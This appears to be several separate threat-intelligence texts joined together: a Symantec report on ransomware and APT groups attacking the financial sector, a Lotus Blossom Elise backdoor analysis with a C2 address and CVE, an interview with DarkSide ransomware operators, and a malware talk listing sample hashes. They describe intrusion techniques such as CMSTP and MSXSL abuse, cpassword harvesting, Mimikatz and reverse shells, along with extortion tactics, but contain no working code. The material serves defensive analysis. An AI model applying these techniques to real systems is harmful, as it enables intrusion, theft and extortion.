The true cost of ransomware attacks is often significantly higher than just the cost of the ransom itself. The attack caused huge disruption, forcing Travelex’s services offline for almost a month. The Sodinokibi attackers were originally demanding a ransom of US$6 million, with Travelex reportedly eventually paying a ransom of $2.3 million to regain access to their systems. Travelex’s parent company, Finablr, said in March that the combination of the ransomware attack and the COVID-19 pandemic would cost the firm £25 million (approx. US$33 million) in Q1 2020. In August 2020, it was announced that Travelex was entering administration, the U.K. equivalent of bankruptcy, with the loss of more than 1,000 jobs. The effects of the ransomware attack and the COVID-19 pandemic were both cited as reasons behind the decision.
The advice to businesses that are hit by ransomware is generally to not pay the attackers, primarily for two reasons: (1) if hackers continue to profit from ransomware attacks they will continue to perpetrate them, and (2) you are dealing with criminals, so there is no guarantee that they will honor their side of the deal and provide you with a key to decrypt your files. However, recent horror stories—such as the close to $20 million ransomware recovery costs reportedly faced by the cities of Atlanta and Baltimore when they did not pay the requested ransoms—have led to many businesses choosing to pay a ransom rather than risk facing significantly higher recovery costs. The cost of paying ransoms for most businesses is also generally covered by cyber insurance. Cyber insurers are often willing to pay the ransom if they believe the cost of paying it would be lower than the payout required for a costly and labor-intensive recovery operation if the ransom is not paid.
## Case Study: WastedLocker
In June 2020, Symantec identified and alerted our customers to a string of attacks against large companies by attackers attempting to deploy the WastedLocker ransomware on their networks. Among those victims was a financial services organization in Australia. All the attempted WastedLocker attacks occurred in largely the same way, with the same tactics, tools, and procedures used by the attackers across all victims. The attacks begin with a malicious JavaScript-based framework known as SocGholish, tracked to more than 150 compromised websites, which masquerades as a software update. Once the attackers gain access to the victim’s network, they use Cobalt Strike commodity malware in tandem with a number of living-off-the-land tools to steal credentials, escalate privileges, and move across the network in order to deploy the WastedLocker ransomware on multiple computers.
In these WastedLocker attacks, the initial compromise involves the SocGholish framework, which is delivered to the victim in a zipped file via compromised legitimate websites. Symantec found at least 150 different legitimate websites that refer traffic to websites hosting the SocGholish zip file. We also confirmed dozens of U.S. newspaper websites owned by the same parent company had been compromised by SocGholish injected code. Some of the organizations targeted by WastedLocker could have been compromised when an employee browsed the news on one of its websites.
The zipped file contains malicious JavaScript, masquerading as a browser update. A second JavaScript file is then executed by wscript.exe. This JavaScript first profiles the computer using commands such as whoami, net user, and net group, then uses PowerShell to download additional discovery-related PowerShell scripts. Cobalt Strike is then deployed on victim machines and used to download and execute a loader for Cobalt Strike Beacon, which can be used to execute commands, inject other processes, elevate current processes or impersonate other processes, and upload and download files.
In order to deploy the ransomware, the attackers use the Windows Sysinternals tool PsExec to launch a legitimate command line tool for managing Windows Defender (mpcmdrun.exe) to disable scanning of all downloaded files and attachments, remove all installed definitions, and, in some cases, disable real-time monitoring. After Windows Defender is disabled and services have been stopped across the organization, PsExec is used to launch the WastedLocker ransomware itself, which then begins encrypting data and deleting shadow volumes.
The attacks were proactively detected on a number of customer networks by Symantec’s Targeted Attack Cloud Analytics, and we initially discovered attacks against 31 organizations based in the U.S., with further investigation leading to the discovery of more impacted organizations, including the aforementioned Australian financial services organization. The attackers behind WastedLocker are skilled and experienced, capable of penetrating some of the world’s best protected corporations, stealing credentials, and moving with ease across their networks. That this group had financial services organizations among its targets means companies in the financial sector need to be aware of the threat sophisticated actors like this pose, and have robust security in place to protect their systems.
## APT Groups: Cyber Criminals Not the Only Concern
It is not just cyber-crime gangs that are going after companies in the financial sector - sophisticated, often nation-state-sponsored advanced persistent threat (APT) groups also have their sights set on companies in the financial sector. Nation-state actors, unlike cyber criminals, are not generally financially motivated, so in many cases they do not target financial institutions, as they are often more interested in other sectors, such as government organizations. If they do target financial institutions, it can often be for intelligence gathering means, rather than to actually steal funds from the financial institution in question. However, there have been some notable financially motivated attacks on the financial sector by APT groups in the past.
The APT group that is best known for targeting organizations for financial gain is probably Lazarus, which the FBI has said is a state-sponsored group backed by the North Korean government. Lazarus has been linked to numerous high-profile attacks, including the attack on Sony Pictures in 2014, which was widely believed to be revenge for the release of the movie *The Interview*, which was considered to have been offensive to North Korea’s leadership. The group was also linked with the infamous WannaCry ransomware that caused huge disruption around the world in 2017.
In the financial world, Lazarus was linked to a series of attacks exploiting the SWIFT payment system in an attempt to steal money from banks worldwide. The most infamous example of this was the so-called Bangladesh bank heist, when the group attempted to steal $81 million, but due to the quick actions of bank staff eventually made off with a lot less. A number of other attacks or attempted attacks exploiting the SWIFT banking framework have been attributed to Lazarus over the last number of years.
FIN7 (or Fruitfly) and Carbanak are two other sophisticated groups known for their attacks on the financial sector. These groups have some crossover with malware and tactics so are believed by some to be the same group, but Symantec still tracks them as two separate entities. Carbanak is more focused on the financial sector, with FIN7 implicated in attacks on other sectors too. Symantec blogged about Carbanak in 2015 when the gang was exposed as having stolen millions of dollars from hundreds of banks worldwide. At the time, we described the gang’s choice to target banks themselves rather than bank customers as “atypical,” as at the time cyber-crime gangs were more typically targeting bank customers rather than the banks themselves. The group compromised banks through malware delivered in spear-phishing emails and would maintain a stealthy presence on bank networks until it was ready to launch an attack. The group would then cash out by either transferring money from the bank to accounts it controlled, or by hijacking ATMs to force them to dispense cash to individuals working with the gang. It was speculated that Carbanak could have made up to $1 billion in those attack campaigns.
Carbanak has also been linked to another group, Odinaff, which Symantec wrote about in 2016. We linked the group to a series of campaigns targeting financial organizations worldwide. The group targeted organizations in the U.S., Hong Kong, the U.K., Australia, and other regions in the sophisticated campaign. Most of Odinaff’s victims were in the financial sector, and the group was also observed at the time launching attacks on SWIFT users, using malware to hide customers’ own records of SWIFT messages relating to fraudulent transactions. This is similar to activity carried out by the Lazarus group in its attacks on banks worldwide, but there is no indication of any link between Odinaff and the Lazarus group.
The sophisticated tactics and tools used by APT groups like Lazarus, Odinaff, and others, make them a particularly dangerous threat for institutions in all sectors, including the financial sector.
## Deep Dive: Jointworm − Sophisticated Attack Group Sets Sights on the Financial Sector
Symantec researchers recently spotted the activity of a targeted attack group that is focused on financial services companies and IT companies that serve financial services organizations in Cyprus, Ukraine, the U.S., and Czech Republic. This group—dubbed Jointworm—has been active since at least August 2017 and appears to be financially motivated. This latest campaign aimed at the financial sector appears to have started in December 2019. We spotted Jointworm in at least seven organizations in the period from December 2019 to June 2020.
Jointworm is identified by its use of a JavaScript backdoor (or EVILNUM) which is custom to the group. This backdoor is typically delivered via malicious emails that contain a link to a ZIP archive. The archive file contains an LNK attachment masquerading as an Office document, an Excel sheet for example, which contains malicious JavaScript. Its targets in this recent campaign include companies in the financial sector internationally, including those that operate within the stock exchange markets, and some tech companies that develop technologies for use by financial organizations (also known as fintech companies). A media company was also targeted in this campaign. The group was able to spend a significant amount of time on the networks of some of its victims. Jointworm was present on the network of one financial sector organization for 184 days, and another financial sector victim for 123 days.
### Tools, Tactics, and Procedures
The group uses email as its initial vector and was spotted using generic, financial related lures and attachment names. The malicious email links to an archive file on a trusted cloud provider that contains an LNK file masquerading as a document or image. This decoy document is displayed to the user and an embedded JavaScript file is executed to install a backdoor.
The backdoor that is installed also has a Python interpreter embedded in it, which is used by the attackers. The attackers deploy classic living-off-the-land tactics, abusing legitimate admin tools on infected machines, to download additional tools and malware. Legitimate tools exploited by the attackers include:
- **PowerShell** – A powerful interactive command-line interface and scripting environment included in the Windows operating system that is frequently exploited by malicious actors to execute commands on compromised systems.
- **WMI Commands** – A Windows administration feature that can be abused by attackers to execute commands and for lateral movement on infected systems.
Both of these techniques feature in our table of the top 20 MITRE ATT&CK® techniques most-used against top organizations in the financial sector in the period examined.
Other legitimate tools leveraged by Jointworm include:
- **msiexec** – A legitimate part of the Windows Installer Component used to install new programs; however, it can also be used by malicious actors to install malware on victim machines.
- **BITSAdmin** – A legitimate command-line tool that can be abused by malicious actors to install malware.
- **MSXSL** – Can legitimately be used to convert files from one format to another, but can also be exploited by malicious actors to issue commands.
- **CMSTP** – The Microsoft Connection Manager Profile Installer, but it can also be abused by attackers to execute commands and install malicious tools.
These tools are exploited and used to download and execute various malicious payloads. The attackers use a loader (an OCX file) to provide themselves with additional capabilities. Based on the file names used by Jointworm, it is likely the group is using these OCX files to load Metasploit and Cobalt Strike modules in order to enable further capabilities. The loader itself is believed to originate from a malware-as-a-service (MaaS) provider known as Golden Chicken. This is a known group that also sells loaders to other groups, including FIN6 and the Cobalt Group. The Golden Chicken tools arrive as ActiveX (OCX) components and all contain TerraLoader code, which serves as a common loader for various payloads.
The attackers manually send a command to the JS or C# component to drop and execute a batch file from one of their servers. That batch file writes a malicious INF file and supplies it as a parameter to the Microsoft utility cmstp.exe, which executes a remote scriptlet specified in the INF file. The remote scriptlet contains obfuscated JS code that drops an OCX file and executes it via regsvr32.exe.
A lot of the group’s tools are signed with what appear to be invalid certificates. The attackers are observed searching for any files that contain the string “cpassword”—this is related to Active Directory Group Policy files (XML files) that contain encrypted passwords. Microsoft published the password used to encrypt these files prior to 2012, so if the encrypted passwords are found, they are trivial to decrypt and use to move laterally across the network or perform privilege escalation to a network admin’s account.
## Case Study: Jointworm Activity Across a Financial Organization in Europe
We have insight into Jointworm’s activity on several organizations’ networks. We observed the attackers’ activity on multiple machines in a leading European finance company that offers online trading of shares, contracts, and international foreign exchange. The attacker had a presence on this victim’s network for more than 100 days.
### Initial Access
On one machine in this organization, the first evidence of initial infection was identified as a malicious LNK file masquerading as an Excel document using a financial lure. A malicious JavaScript file was embedded as an alternative data stream (ADS) in the document. The user of this machine opened the file and a backdoor was dropped and executed (media.js).
Approximately two hours later, the attackers became active on the compromised machine. Initially, it appears the attackers test connectivity by running the following command indicating a successful execution:
Sixteen minutes later, the attackers launched an interactive Python interpreter session and used this to launch a second JavaScript file. At this point, there was further activity on the interactive Python shell and approximately two hours later, an OCX loader component (msf.ocx) was executed.
Several minutes later, an instance of PowerShell was launched but there was very little activity observed from the attackers. At this point, the attacker activity ceased for seven days until the attackers returned and began asset discovery activities by collecting network related information from remote machines.
### Downloading Additional Tools and Malware
On another machine following the initial intrusion, the attackers were able to install their backdoor via PsExec and proceed to download a password protected archive containing a set of tools. The following command was observed:
The above command was used to change a directory to ‘mediaplayer’ where the attackers extract their tools. They then ran unrar.exe using the password “123123” to extract the archive’s contents. The output is redirected to a file that the attackers likely retrieve to confirm if the extraction process succeeded or not.
Several days later, on the same machine, we observed the attackers copying tools from a remote machine over SMB. Similarly, we also observed the following command being used to download tools in other victims’ networks:
On several machines, we also observed the attackers abusing msiexec in order to download and install additional tools used by the attackers. Similarly, we observed the attackers abusing BITSAdmin in order to download tools hosted on file-sharing websites. On multiple machines within the victim’s environment, PowerShell was also abused to download additional tools.
### Identifying Assets
Leveraging their backdoor access, the attackers ran a series of commands in order to collect various information on any assets of interest as they mapped the topology of the network.
#### Collecting General Information on Compromised Machines
Across several machines we saw WMIC being used in order to collect some general information on the compromised machine, such as local storage information.
#### Credential Stealing
On the same machine, the attackers were observed executing a loader file (24067.ocx), presumably to load a Metasploit module for extended remote access. Shortly after, the attackers attempted to perform a string search for any files that contain the string “cpassword.” The string “cpassword” is a command string found in XML files linked to group policies. Passwords extracted from these files can be easily decrypted and abused by attackers. Shortly afterwards, the attackers executed PowerShell commands to enumerate systems and add additional accounts for their own usage based on retrieved AD credentials. The attackers were also observed deploying Mimikatz to dump credentials across multiple machines within victim organizations.
### Additional Tricks
#### Executing Arbitrary Commands Via MSXSL
In order to bypass security restrictions, the attackers were also observed employing some interesting tactics to execute commands. On several machines, we see the attackers launch their backdoor followed by initializing an interactive Python shell. This is shortly followed by commands similar to below being executed. The MSXSL tool is a transformation utility that can be used to convert files from one format to another, such as XML to a more human-readable format like HTML. However, this utility can be abused to run arbitrary commands on both local and remote connections.
#### Executing Arbitrary Commands Via CMSTP
Additionally, we have observed the attackers abusing the Microsoft Connection Manager Profile Installer (CMSTP) utility to execute arbitrary commands and install additional tools. More commonly we see this command being abused to install Metasploit or Cobalt Strike modules to extend backdoor access.
The attackers were also observed deploying a simple, custom Python reverse shell across multiple machines. This was achieved by copying a legitimate Python interpreter executable (rev.exe) onto the infected machine and using it to execute the Python file to establish a connection to attacker-controlled infrastructure.
## What Does Jointworm Want?
We cannot see what additional information the group is exfiltrating from its victims in this campaign, but in past campaigns Jointworm has been seen stealing financial information from targeted companies and their customers. This has included:
- Spreadsheets and other documents
- Internal presentations
- Software licenses
- Cookies and session information
- Email credentials
- Customer credit card information and proof of address/identity documents
This campaign seems to still be ongoing, and Jointworm has a strong focus on financial organizations and other companies with links to the financial sector, such as fintech companies and organizations that provide IT services to companies in the financial sector. Companies like this need to be aware that they are targets of sophisticated and professional groups like Jointworm.
## Malicious Activity: Detections Trend Upwards
Malware detections in general in Symantec’s top financial customers were also trending upwards from the start of 2019 to mid-2020, with the highest number of detections in financial customers seen in October 2019 and February 2020. While detections have dropped back somewhat since February, they remain higher than they were at the same time in 2019. Detections in February 2020 were twice what they were in February 2019.
This indicates that financial institutions are still a target for all kinds of cyber crime. The malware being deployed on these target networks could include infostealers, coinminers, and other backdoors, all of which pose a threat to financial institutions and their customers. The top 10 detections shown in the table are mostly generic detections and detections for off-the-shelf items like hacktools, with a wide amount of malware being stopped in its tracks by these detections.
### Geographical Spread: Which Countries Recorded the Most Malware Detections?
When we look at the location of the financial services businesses that were targeted since the start of 2019, more than half of the targeted businesses are located in the U.S. This is perhaps unsurprising given that a lot of the world’s largest financial institutions are U.S. based. Brazil is in second place on the list with 19 percent of detections (almost one-in-five) which is also a significant amount. Brazil is the largest country in South America and has a large population, which could be enough to make it a target for criminals. After that, the detections are more spread out globally, though the U.K., which is also home to a large number of international finance firms, also has quite a high number of detections, accounting for 9% of total malware detections. We only have insight into activity aimed at our own customers, so the location of our customer base also has an influence on these numbers.
The U.S. topping the list for malware detections, followed by a country in South America and then one in Europe, demonstrates that financial sector companies globally are under threat from cyber criminals trying to get malware onto their systems.
### Network Activity: Further Insight into Cyber Criminals’ Endeavors
File-based detections just show us one part of the story as these detections block the threats that make it as far as the machine (the endpoint). Network-based detections reveal further information about the extent of malicious activity on organizations’ networks by detecting and blocking activity at the application layer. If a machine on a network becomes infected, the malware is likely to attempt to contact a command and control (C&C) server, which can also trigger these detections. Looking at the number of network detections attempting to contact a C&C server can give us a more realistic idea about how many infected machines are on a network and a truer picture of the extent of malicious activity in a sector.
As we can see, malicious activity on the network of top financial customers has been increasing since the start of 2019, with the most activity on the network of these companies recorded in May 2020.
### Conclusion
The financial sector is a tempting target for both everyday cyber criminals looking to make a quick buck, and sophisticated nation-state actors with both financial and intelligence motivations. Businesses in this sector need to be aware of these threats and protect their networks from them with a strong security approach.
Between January 2019 and mid-2020, we observed:
- Malware detections in companies in the financial sector trending upwards.
- Ransomware detections in companies in the financial sector trending upwards.
- High-profile, publicly reported targeted ransomware campaigns impacting companies in the financial sector.
Some of these gangs are now also stealing data from the businesses they hit and threatening to publish it in order to exert further pressure on organizations to pay a ransom. Multiple companies in the financial sector are being targeted by Jointworm, a sophisticated, financially motivated attack group.
There may have been some anticipation that the COVID-19 pandemic would lead to a slowdown in cyber-criminal activity, but that doesn’t seem to have occurred, at least among cyber actors targeting the financial sector. The threat facing companies in the financial sector from malicious actors is significant, ongoing, and unlikely to ease off in the future. It is something financial sector companies need to be aware of and prepared for.
## Best Practices
- Deploy an integrated cyber defense platform that shares threat data from endpoint, email, web, cloud apps, and infrastructure.
- Cyber attackers are continually updating their techniques and tools to evade conventional security controls. Always keep these security solutions up to date with the latest protection capabilities, including machine learning and AI, and ensure that your security architecture has the ability to incorporate new state-of-the-art solutions with minimal disruption or cost.
- Ensure consistent enforcement of security rules and access policies across environments without disrupting business processes.
- Ensure cyber security solutions run both in the cloud and on-premise to better protect infrastructure.
- Look to solutions that provide real-time threat information, threat analytics, content classification, and comprehensive threat blocking data so the latest threat intelligence is current.
- Be sure to deploy identity and access management solutions to protect against the theft of executive credentials.
- Where possible, install the latest patches on all devices, and consider an endpoint management solution with automated patch management.
- Ensure all employees use strong passwords and enable two-factor authentication.
- Ensure the latest version of PowerShell is installed and logging is enabled.
- Restrict access to Remote Desktop Services (RDS): Only allow RDS from specific known IP addresses and ensure usage of multi-factor authentication. Consider similar access controls for other popular admin tools so they cannot be used by attackers to infiltrate the network undetected.
- Implement offline backups that are onsite. Ensure there are backups that are not connected to the network to prevent them from being encrypted by ransomware.
- Test restore capability. Ensure restore capabilities support the needs of the business.
- Educate staff to ensure they understand cyber security principles and do not engage in any behaviors that may put patients’ or customers’ data at risk.
- Improve detection and response capabilities by spreading security investments beyond prevention and protection technologies. Faster detection and resolution times can dramatically reduce the impact of data breaches.
- Leverage behavioral analytics technology wherever possible. Attackers frequently compromise privileged devices or user accounts to carry out attacks, and having analytics capabilities to identify anomalous behavior is one of the most effective ways to identify that an attack is taking place. |
# Lotus Blossom Continues ASEAN Targeting
February 13, 2018
During the last weeks of January 2018, nation state actors from Lotus Blossom conducted a targeted malspam campaign against the Association of Southeast Asian Nations (ASEAN) countries. Just months after the APT32 watering hole activity against ASEAN-related websites was observed in Fall 2017, this new activity clearly indicates that ASEAN remains a priority collection target in the region. This new Lotus Blossom campaign delivers a malicious RTF document posing as an ASEAN Defence Minister's Meeting (ADMM) directory (decoy) that also carries an executable (payload) embedded as an OLE object, the Elise backdoor.
The Elise backdoor is not new malware and has been successfully diagnosed in the past by industry researchers (e.g., Palo Alto Unit 42's 2015 report) and more recently by Volexity and Accenture. Each of these are valuable resources to understanding the Elise malcode, infection process, and known capabilities of the backdoor. In addition, a current ANY.RUN playback of our observed Elise infection is also available.
Upon opening the MS Word document, our embedded file exploits CVE-2017-11882 to drop a malicious fake Norton Security Shell Extension module, 'NavShExt.dll', which is then injected into iexplore.exe to install the backdoor, begin collection, and activate command and control. Moving through the infection process, NetWitness Endpoint detects the initial exploit (CVE-2017-1182) in action as the Microsoft Equation Editor, 'EQNEDT32.exe', scores high for potentially malicious activity. This same process was also flagged in our ANY.RUN playback.
Our malware then spins up an instance of 'iexplore.exe' and injects 'NavShExt.dll' into that process. While this is happening, the malware establishes persistence by creating an autorun in the registry and then also creates 'thumbcache_1CD60.db' at 'Users\admin\AppData\Local\Microsoft\Windows\Explorer\' to store harvested data.
As the infection process completes, we now observe Elise network activity (e.g., exfil of victim data and C2) through a conveniently hidden instance of Internet Explorer. This traffic was also observed in NetWitness Packets, as the malware verifies the host IP address prior to kicking off C2 out to 103.236.150[.]14, which is likely compromised infrastructure.
Take note of the cookie set in this HTTP POST, because Lotus Blossom actors go to significant lengths to protect this data via both B64 encoding and AES encryption. The actual C2 for Elise takes place over "cookie" code and (rarely) body content. Other infections (from the identical payload) each generated their own decoy domains to populate the host header, but in every case actually used the same hard-coded IP address, 103.236.150[.]14.
After our Elise infection had run for about a day, we were visited by the threat actor. While it's unclear exactly what the actor may have been looking for, our infected (sandboxed) machine was not it and the backdoor was deleted.
Based on both previous activity and this current Lotus Blossom campaign, it is clear that we are witnessing the continued rise of cyber tradecraft and activity from nation-states in the Southeast Asian theater.
Thanks to Kent Backman, Justin Lamarre, and Ahmed Sonbol for their assistance with this research.
The following samples were used for this analysis:
- Malicious RTF
- Dropper (SHA256): d3fc69a9f2ae2c446434abbfbe1693ef0f81a5da0a7f39d27c80d85f4a49c411
- NavShExt.dll (SHA256): 6dc2a49d58dc568944fef8285ad7a03b772b9bdf1fe4bddff3f1ade3862eae79 |
# A Chat with DarkSide
If you would meet us on the street, you would never realize that we are cyberpests, because we are the same normal people like everyone else. Many have families and children; the only thing that these circumstances in which we found ourselves in our country are. We have no hatred and desire to cause damage; we perceive our business as any other, the ultimate goal of which is profit.
— DarkSide
One of DarkSide’s earlier notices.
In a recent article on BankInfoSecurity, Mathew J. Schwartz reports that ransomware threat actors have been on somewhat of a “charm offensive” since last year, giving interviews to media. Because this blogger has absolutely no hacking knowledge or skills, I would never try to do an actual technical interview with any threat actor. In fact, given my professional background, I have always been more interested in why and how threat actors make the decisions they make — and how some seem to have absolutely no scruples or ethics about attacking some victims while others appear to develop some sort of ethics code. With those interests in mind, DataBreaches.net recently interviewed DarkSide operators about their approach to their ransomware operations and changes since they first emerged as DarkSide.
In August 2020, when the ransomware group known as DarkSide introduced themselves via a press release on their website, they made a point of immediately claiming that although their product might be new, they were not new kids on the block:
*We are a new product on the market, but that does not mean that we have no experience and we came from nowhere. We received millions of dollars profit by partnering with other well-known cryptolockers. We created DarkSide because we didn’t find the perfect product for us. Now we have it.*
Their announcement also stated what kinds of entities they did not attack, and that they only attacked companies that could pay the demanded amount — an amount they claim they determine by researching the companies they attack.
Their launch announcement was met with skepticism by some and outright scorn or ridicule by others, and Brian Barrett’s description of DarkSide as having a “veneer of professionalism” was somewhat understandable. But in some respects, DarkSide has proved Barrett wrong. They actually are more professional in their conduct than some other ransomware groups, even though their conduct is certainly illegal and cruel to victims. And they have not only kept their word about who they will not attack, but they actually expanded the exclusions.
So seven months after they announced their launch and then put their heads down and got to work, what, if anything, has changed for them?
## “Big-Game Hunters”
Like other groups such as REvil, Ryuk, and DoppelPaymer, DarkSide is considered a “big-game hunter,” targeting larger corporations that can afford to pay higher ransoms. DarkSide’s dedicated leak site currently lists Guess, the well-known American clothing and fashion accessories retailer. Guess’s revenue last year was estimated at $2.68 billion. DarkSide claims to have exfiltrated more than 200 GB of data and posted a number of samples as proof. DataBreaches.net does not know how much ransom DarkSide has demanded for the decryption key, but they publicly advise Guess:
*We recommend using your insurance, which just covers this case. It will bring you four times more than you spend on acquiring such a valuable experience.*
That statement is consistent with DarkSide’s first press release in which they stated that they were not out to kill companies. It is also consistent with DarkSide’s explanation to DataBreaches.net in the interview recently conducted by email. One of the exchanges was:
**DataBreaches.net (DBN):** Do you ever demand more than what their cyberinsurance policy might cover?
**DarkSupp:** Always before putting the amount of ransom, we study the internal reporting of the company and definitely understand how much they can really pay; all our partners work in the same way and we always remind about it. Basically, we do not require more than the amount of cyber insurance, but we cannot always check the actions of our partners.
**DBN:** Someone suggested that if companies didn’t have cyberinsurance, ransomware threat actors would lose interest and just go away. Do you think that’s true?
**DarkSupp:** (no response or comment)
From the files on their site, it would appear that Guess was attacked in February. Unlike some groups that reach out to media quickly to get coverage, DarkSide had not reached out about Guess or other victims. When asked about how long they wait and what steps they take, they answered:
**DarkSupp:** We act in stages and notify the press usually already when exactly sure that the company will not pay. As for [Guess and another company DBN had named] – I think the press will see them.
**DBN:** Do you notify the press to punish the companies for not paying or to try to pressure them more — or for both reasons?
**DarkSupp:** For both reasons.
**DBN:** Do you actually call targets on the phone like some others do? Do you ever contact targets’ customers directly like CLOP seems to be doing about the Accellion breach?
**DarkSupp:** Yes, a few weeks ago, we launched a balanced service of the calls to our victims, while we call only our customers, but soon we also want to put pressure on their partners. A few days ago, we launched DDOS of our targets (Layer 5 Layer 7), which significantly increased pressure and has already brought the first results.
## Exclusions
Like some other RaaS groups, DarkSide uses a popular Russian-language forum to advertise or recruit partners and to promote its service and updates to its product. A recent announcement in early March described a number of updates to the features and rates for partners, as well as seeking affiliates. The announcement also repeated the rules about what was not permissible to attack:
1. The following areas are prohibited:
- Medicine (only: hospitals, hospitals, any palliative care organization, nursing homes, companies that develop and participate (largely at the supply chain level) in the distribution of the COVID-19 vaccine).
- Funeral services (morgues, crematoria, funeral homes).
- Education (universities, schools).
- Public sector (municipalities, any government bodies).
- Non-profit organizations (charities, associations).
2. Any actions that damage the reputation of the product are prohibited.
3. Any work in the CIS (including Georgia, Ukraine) is prohibited.
4. It is forbidden to transfer the account to third parties.
5. It is forbidden to use other lockers in one project.
The list of excluded entities is what they had established in August, with one difference: funeral services (morgues, crematoria, and funeral homes) were added to the list. When DataBreaches.net asked DarkSupp if they had ever regretted attacking a target, they had replied:
**DarkSupp:** Yes, for the actions of our partners. After that, a ban on blocking of morgues and crematoriums appeared.
So unlike what we saw with some entities refusing to commit to leaving medical entities alone or reneging on pledges, DarkSide has consistently prohibited attacks on medical entities as defined in their rules. They also have a more extensive exclusion list than any other group.
That said, and while their intentions may sound noble in excluding medical, DataBreaches.net was surprised to learn that DarkSide doesn’t consider medical targets likely to pay, as indicated in this exchange in the interview:
**DBN:** You seem to have kept your word about leaving medical entities alone. Will you always leave medical, schools, and non-profits alone, or will that change when the pandemic ends?
**DarkSupp:** There are several reasons why we do not attack medical institutions: 1. This may lead to aggravation of health problems and the death of people, which is unacceptable for us. In the encryption of medical institutions, they lose the history of patient diseases, a schedule of operations (including due to the loss of test results, which is now digitized). 2. Such companies on reviews of our colleagues usually do not pay a ransom.
**DBN:** Are you saying that hospitals usually do NOT pay ransom when they are attacked or are you saying something else?
**DarkSupp:** Yes, we mean that in addition to negative moral consequences, hospitals also pay money less often than companies.
That statement seems to directly contradict what was reported at the same time last year when we were told that “Hospitals pay 80% to 90% of the time because they simply have no choice.” Have they stopped paying as often? Hospitals in Germany, Belgium, and France have been in the news in recent months as victims of ransomware attacks — in at least some cases by DoppelPaymer. But are any paying? And are those who are attacking them making demands that far exceed cyberinsurance? Have the criminals gotten so greedy that more victims are now refusing to pay?
DarkSide did acknowledge that some things may change after the pandemic, but not everything:
**DarkSupp:** If we talk about medical companies: the ban on their encryption will always be; other spheres may be permissible but with a preliminary change of rules.
## Charitable Donations
In an October press release, DarkSide revealed that they had made donations to some charities. It did not get a positive response from the security community, members of the forum where it was discussed, or the general public. Concerned that entities might reject their donations if they knew the source, DarkSide announced that in the future, they would make their donations anonymously. DataBreaches.net followed up on that by asking them whether they had been making any donations (DBN did not ask them to name any organizations specifically).
**DarkSupp:** At that time, we did not consider it as an advertising move; donations were really shipped to help people. We do not know about the unpleasant consequences that in the end happened with money, but no one returned to us, as the money was sent through a mixer.
**DarkSupp:** Yes, sometimes we sacrifice money for enlightenment with various charitable funds (not everyone who we wanted to give money to accept Bitcoin), but mostly we are anonymously supporting several open-source projects on anonymity on the Internet.
Unsurprisingly, perhaps, Unknown of REvil also specifically mentioned supporting anonymity projects when interviewed by Dmitry Smilyanets of Recorded Future last month. Indeed, there were many respects in which the two groups seemed comparable in their statements about their operations and approach to ransomware-as-a-service. They both recognize that ransomware groups are in competition to give affiliates what they want and that affiliates may jump ship to get better features or percentages of take. At the beginning of March, DarkSide published a detailed update and solicitation for partners. In it, they promote themselves as serious competitors whose features are better than what others have to offer potential affiliates.
In an announcement on a Russian-language forum, DarkSide advertises the competitive features of DarkSide v. 2.1. In our interview, they elaborated on how they see their position in the community:
**DarkSupp:** Objectively speaking, we have only a few competitors; the rest of the partnership programs at least do not provide the level of service that we have. After we started to develop and take the audience from them, they began to more actively develop their projects and create new services (it can easily notice the nomination of Russian hacker forums). So it can be said that our project globally affected the market for the development of cryptolocrineers.
REvil would probably make the same claim. And both groups have put up money on the forum to cover any incidents or problems that might develop (DarkSide put up 23 BTC in November for such contingencies, while REvil recently explained that they removed their deposit because of the exchange rate).
Their commitment became important after BitDefender released a free decryptor for victims of DarkSide ransomware. DarkSide’s response was immediate and public: they acknowledged what had happened and how:
*Bitdefender has released a utility that can decrypt some of our Windows lockers. Linux is not decrypted. This is not connected with breaking our encryption or another bug in the locker (RSA + Salsa20), but with the generation of keys. Due to the way the generator works under Linux, some private keys of the targets could be generated the same, so BitDefender created its own decryptor based on one public key (previously purchased). We estimate that up to 40% of private keys are affected. At the moment, this problem has been resolved; no new targets will be decrypted; there have been no bugs in the locker itself, and there never will be.*
DarkSide offered monetary compensation to any affiliates who had lost money because of the error, and then offered new affiliates a better deal for the next 30 days with higher shares. They also thanked BitDefender publicly for helping them improve their product. Because the decryptor was released right before the holidays, fewer than 5 victims were reportedly able to benefit from it, and DarkSide claimed that not only had the incident not cost them any affiliates, but it had actually helped them attract even more affiliates within 48 hours because they offered a better deal to new affiliates while compensating any existing ones who had suffered any losses. But they also told DBN:
*If we talk about Bitdefender, we can say that they have made a big mistake by publishing the decryption key in public. In their place, we would distribute it among the recovery companies, and that would have caused more damage later for us.*
At the present time, DarkSide claims to work with more than 20 affiliates or partners. That is significantly less than what Unkn of REvil claimed Sodinokibi had as a maximum number of affiliates at any one time, and DarkSide is generally not listed among the currently most profitable ransomware groups that seem to include Ryuk, REvil, and DoppelPaymer. But the competition is certainly evident as we have seen groups come and go in the past seven months and some grouping into what has been labeled by others as a cartel. DarkSide has not expressed any public interest in joining any cartel and made no mention of anything like that in our interview.
But will DarkSide ever make enough money to quit? I put the question to them.
**DBN:** Unknown from REvil had said he can never have too much money because he grew up poor. How about you? Do you have some monetary goal in mind, and if you reach it, you will retire, or will you just keep going to make even more money?
**DarkSupp:** We have a definite goal after which we will retire.
It seems that they haven’t reached it yet. |
# The Curious Case of 0xFancyFilter
## The Work of Cyber in the Age of Mechanical Reproduction
This talk covers the interesting case of ‘0xFancyFilter’, an amalgam between what could be referred to as Regin 1.5 and Equation Group’s MISTYVEAL. This rare piece of malware is the only documented instance of code overlap between the Regin and Equation Group frameworks and is used to illustrate the difference between stating a relationship between threat actors from public documents vs. being able to show that relationship based on technical findings. The rare – but not at all surprising – collaboration is dubbed the Voltron Supra Threat Actor (STA) as suggested early on by a friendly researcher.
## Technical Indicators
In lieu of a proper write up, the following hashes should help replicate the work by any interested researchers. All samples discussed are available on VirusTotal.
- **0xFancyFilter or Regin 1.5** (‘htmlfiltxx64.dll’ or ‘Microsoft\Internet Explorer\iesrch32.dat’)
- cd3ee807e349abae65d93e421176f302528b739e9e1d77a6ce4e57caeec91b4e
- **Older 0xFF samples** (‘httpfilt.dll’, ‘htmlfilt.dll’)
- 369145c6f366f25a4e8878ad1ffec73d680cdc2da4380b221d1d7cdf3a90c930
- ef35705696d78cc9f4de6adad2cbe5ed22fd50da0ce4180c1d47cf0536aebc87
- df4bc387181ffaabe0be39e66ef5eb838ed638e0ae2b82e9a7daa83647e38bb1
- **Old EQGRP ‘nethdlr’ (MISTYVEAL) for comparison**
- d8bab0b79bafec3a41db0dd4ae1703c2ab55de5af261e1881d62bde0d9033690
- **Regin’s Hopscotch with shared RC4 implementation**
